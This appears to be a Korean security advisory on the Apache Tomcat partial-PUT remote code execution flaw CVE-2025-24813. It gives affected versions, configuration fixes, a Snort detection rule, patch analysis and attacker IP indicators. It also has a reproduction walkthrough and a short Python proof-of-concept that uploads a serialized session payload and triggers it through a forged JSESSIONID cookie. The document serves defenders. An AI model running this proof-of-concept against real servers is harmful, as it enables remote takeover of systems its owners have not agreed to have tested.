블로그
home
Nation-State Cyber Actors Analysis Report
home

Apache Tomcat에서 발생하는 원격 코드 실행 취약점(CVE-2025-24813)

작성자
이의진
감수인
작성일
2025/04/24
배포일
2025/05/08
문서등급
TLP:CLEAR
Tags
CVE
Apache Tomcat
Orchestration
CVE-2025-24813
RCE
IG-30
문서유형
TechNote

01. 취약점 개요

○ 2025-03-10, Apache Tomcat에서 경로 동등성(CWE-44)*을 이용한 원격코드실행(RCE)취약점 CVE-2025-24813이 발표되었으며, 악용사례가 확인됨에 따라 보안패치 필요
중국의 iSee857가 취약점 발표 후, Wallarm에 따르면 iSee857가 GitHub에 PoC를 공개하기 전인 2025-03-13 00:38:39(KST)에 폴란드에서 PUT메소드를 사용하고 BASE64로 인코딩된 공격 사례가 발견
Greynoise에 따르면 미국, 일본, 멕시코, 한국, 호주에서 취약점을 악용한 IP 6개 발견
* 경로 동등성(Path Equivalence) : 시스템이 경로 문자열에서 내부 점(.)을 포함한 입력을 제대로 검증하지 않아 발생하는 취약점
○ CVE-2025-24813은 공격 방식에 따라서 △ 정보유출 및 주요 데이터 손상을 유발하는 공격과 △ RCE 공격이 가능하며 공격 시나리오에 따라 전제조건 상이(필요충분조건)

02. 영향받는 버전 및 대응방안

1.
영향받는 소프트웨어 사용 시 보안패치 버전으로 업데이트 권고(불가 시 2번 방안 적용)
CVE
공격유형
CVSS 3.x
영향받는 버전
보안패치 적용 버전
CVE-2025-24813
RCE
9.8
9.0.0.M1 이상 9.0.98 이하10.1.0-M1 이상 10.1.34 이하11.0.0-M1 이상 11.0.2 이하
9.0.99 이상 10.1.35 이상 11.0.3 이상
2.
CVE-2025-24813 발현 전제조건 제거(설정 이후 Tomcat 재부팅 필요)
‘readonly’속성과 ‘PersistentManager + FileStore’은 기본값이 비활성화이기 때문에 해당 기능을 사용하는 경우에는 서비스 영향도를 고려하여 조치 필요
PersistentManager : Session을 파일시스템이나 JDBC 너머의 데이터베이스에 저장하는 방법
파일경로
속성
기본값
권고값
/conf/web.xml
readonly
true
true
/conf/web.xml
allowPartialPut
true
false
/conf/context.xml
PersistentManager + FileStore
disable
disable
3.
SNORT를 통한 탐지 정책 반영
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"Apache Tomcat Path Equivalence (CVE-2025-24813)"; flow:established,to_server; content:"PUT"; http_method; pcre:"/\x2f[^\x2f\x2e\s]*?\x2e\w+$/U"; content:"Content-Range|3a 20|"; http_header; fast_pattern; pcre:"/\w+\s(?:(?:\d+|\x2a)?\x2d(?:\d+|\x2a)?|\x2a)\x2f(?:\d+|\x2a)?/U"; sid:2060801; rev:1;)
ASCII Art
복사
SNORT Rule
4.
취약점으로 인한 영향도 확인 방안
○ 세션 저장소 폴더 및 파일 업로드 경로에 불필요한 ‘*.session’ 파일이 존재하는지 확인
○ PUT메소드 허용 시 파일 업로드가 가능하기 때문에 WAF또는 웹 위변조 모니터링 필요

03. 취약점 상세 설명

3.1. CVE-2025-24813

○ PUT 기능을 악용해 RCE를 유발하는 악성 페이로드가 담긴 위조 세션을 서버에 올리고, GET 요청을 통해 세션을 요청할 때 서버가 세션을 복원하며 악성 페이로드가 실행됨에 따라 원격 코드 실행 가능
○ DefaultServlet.java* 내부에서 경로 검증 없이 슬래시(/)를 점(.)으로 단순 변환하고, 이를 이용하여 파일명을 만들기 때문에 우회된 경로로 파일 생성 가능
DefaultServlet.java : 웹 애플리케이션 안에 있는 HTML, 이미지, CSS, JS 파일 등 정적 파일을 브라우저에 전달하는 역할
○ Partial PUT Method를 이용해 업로드 시 executePartialPut() 메서드에 의해 슬래시(/)가 점(.)으로 치환되고 경로 동등성에 의해 점(.)을 디렉터리 구분자(/)로 잘못 해석되어 경로 우회 가능
○ Partial PUT Method를 이용해 업로드 시 executePartialPut() 메서드에 의해 생성되는 임시 파일의 저장소와 세션 저장소의 위치가 동일함에 따라 위조된 세션이 포함된 쿠키로 GET 요청 시 해당 세션이 복원됨
[그림 1] Defaultservlet.java 내 executePartialPut() 메서드 취약 소스 코드
[그림 2] Defaultservlet.java 내 doPut() 메서드 취약 소스 코드

3.2. CVE-2025-24813 취약점 테스트 결과

○ CVE-2025-24813은 공격 시나리오에 따라서 정보 유출 및 민감 데이터 손상을 유발하는 공격과 RCE공격이 가능하며, 본 분석 보고서에서는 RCE 공격 시나리오 테스팅을 수행
- 공격 시나리오에서 제시한 제약조건은 시나리오별로 모두 충족해야 취약점 발현
구분
공격 시나리오
공통 전제조건
기본 서블릿 쓰기 기능이 readonly 옵션 값 false인 경우(Default는 True) Partial PUT 요청이 허용된 경우(Default는 True) * Partial PUT : 파일의 일부분만 덮어쓰는 요청 방식
[CASE1] 정보유출 및 데이터 손상
민감한 파일 업로드 대상 URL이 공개 업로드 URL의 하위 디렉터리일 경우 공격자는 업로드 된 보안 민감 파일의 이름을 알고 있고, 해당 파일이 Partial PUT을 통해 업로드 되는 경우
[CASE2] RCE
파일 기반 세션 저장소를 사용하고 있는 경우 취약한 역직렬화 라이브러리가 포함된 경우 *역직렬화 : JSON형식의 문자열을 자바 객체로 변환하는 것
○ 시연 환경 : Windows 2022, Apache Tomcat 10.1.33 버전, ysoserial(역직렬화)
* ysoserial : Apache Commons Collections 같은 라이브러리를 기반으로 한 가젯 체인(gadget chain)을 자동으로 만들어주는 오픈소스 도구
○ CVE-2025-24813 공격 흐름도
[그림 3] CVE-2025-24813 공격 흐름도
1.
[Tomcat 설치경로]/conf/web.xml 파일 내 readonly 매개변수 값을 false로 설정
[그림 4] web.xml 파일 내 readonly 옵션
2.
[Tomcat 설치경로]/conf/context.xml 파일 내 세션을 디스크에 저장하도록 설정
[그림 5] context.xml 내 세션 디스크 저장 설정
3.
[Tomcat 설치경로]/lib 폴더 내 취약한 역직렬화 라이브러리 포함
역직렬화 라이브러리 중 취약한 Apache Commons Collections*사용(RCE 공격을 위한 전제조건으로 사전 업로드 필요)
* Apache Commons Collections : Java 컬렉션 유틸리티 라이브러리로 트리거 체인이 존재하여 자동으로 메서드 실행 유도 가능
[그림 6] lib 폴더 내 취약한 역직렬화 라이브러리 포함
4.
직렬화된 악성 페이로드가 담긴 Partial PUT Method 요청 전송
악성 페이로드가 담긴 test.session을 Partial PUT으로 업로드 요청 코드
[그림 7] PoC 코드 내 악성 페이로드가 담긴 세션 업로드 코드
직렬화된 악성 페이로드가 담긴 PUT Method 요청 전송 시 업로드 성공 응답코드 201 반환
[그림 8] PUT Method 요청 시 업로드 성공 응답코드(201) 반환
세션 저장소([Tomcat 설치경로]/work/Catalina/localhost/ROOT) 폴더 내 ‘.test.session’이 업로드 됨을 확인
[그림 9] 세션 저장소 폴더 내 .test.session 파일 업로드
5.
업로드된 세션 파일을 가리키는 조작된 JSESSIONID 쿠키가 포함된 GET Method 요청 전송
위조된 세션을 요청하는 Cookie를 포함한 GET 요청 코드
[그림 10] PoC 코드 내 위조된 세션을 포함하여 GET 요청
세션을 읽는 과정에서 역직렬화 하고 payload가 자동으로 실행되는 도중 예외 발생을 의미하는 응답코드 500 반환
[그림 11] GET Method 요청을 통해 트리거 유발
역직렬화 과정에서 악성 Java 코드가 실행되어 원격 코드 실행 취약점 발현
[그림 12] PoC 코드 동작 결과
○ CVE-2025-24813 PoC 코드
2025-03-14-Testing-CVE-2025-24813.md
main
1) import requests 2) import base64 3) import os 4) 5) TARGET_IP = "hxxp://<target_ip>:<port>" 6) 7) b64_encoded_payload = "base64로 인코딩 된 악성 페이로드" 8) 9) output_file_path = "decoded_chain.bin" 10) decoded_content = base64.b64decode(b64_encoded_payload) 11) 12) with open(output_file_path, "wb") as f: 13) f.write(decoded_content) 14) 15) put_url = f"{TARGET_IP}/test.session" 16) put_headers = {"Content-Range": "bytes 0-5/100"} 17) 18) with open(output_file_path, "rb") as f: 19) put_response = requests.put(put_url, data=f, headers=put_headers) 20) os.remove(output_file_path) 21) 22) get_url = f"{TARGET_IP}/" 23) get_headers = {"Cookie": "JSESSIONID=.test"} 24) get_response = requests.get(get_url, headers=get_headers)
Python
복사
[ PoC 코드 전문 ]

3.3. 보안 패치 코드 분석

○ Apache Tomcat 9.0.99, 10.1.35 및 11.0.2 이상부터 보안 패치 적용
○ Apache Tomcat의 DefaultServlet.java의 doPut() 및 executePartialPut() 메서드 내에서 Partial PUT 요청 처리 로직을 수정하는 방식으로 패치
○ 해당 취약점은 Partial PUT Method 요청 시 사용자의 입력 값 그대로 임시파일로 저장되고, 해당 임시파일을 사용하여 접근하며 발생
createTempFile() 메서드를 통해 시스템이 지정하는 고유한 임시 파일명을 추가([그림 13] 우측의 Line 687 참조)하여 접근하지 못하도록 하는 방식으로 수정함
[그림 13] DefaultServlet.java 내 excutePartialPut() 메서드 패치 전(좌), 패치 후(우)
○ 생성된 임시 파일은 Tomcat 서버가 종료될 때 삭제되는 문제점 존재
tempContentFile 변수를 도입([그림 14] 우측의 Line 628 참조)해 임시 파일을 명시적으로 보관
[그림 14] DefaultServlet.java 내 doPut() 메서드 패치 전(좌), 패치 후(우)
임시로 생성된 파일(tempContentFile)이 사용된 후, 즉시 삭제하도록 수정함([그림 15] 우측의 Line 663 참조)
[그림 15] DefaultServlet.java 내 doPut() 메서드 패치 전(좌), 패치 후(우)

04. IoC

○ CVE-2025-24813을 악용한 IP : 6건
IP
IP Source
Target
203.160.68.24
Hong Kong
US
176.65.138.172
Germany
Japan, Singapore, Hong Kong, Indonesia, Pakistan, Taiwan
38.126.114.186
US
India, Japan, Mexico, US
188.213.161.98
Italy
Japan, South Korea
140.143.182.115
China
US, Australia, Mexico, South Korea
196.240.54.120
Latvia
US

05. 참고자료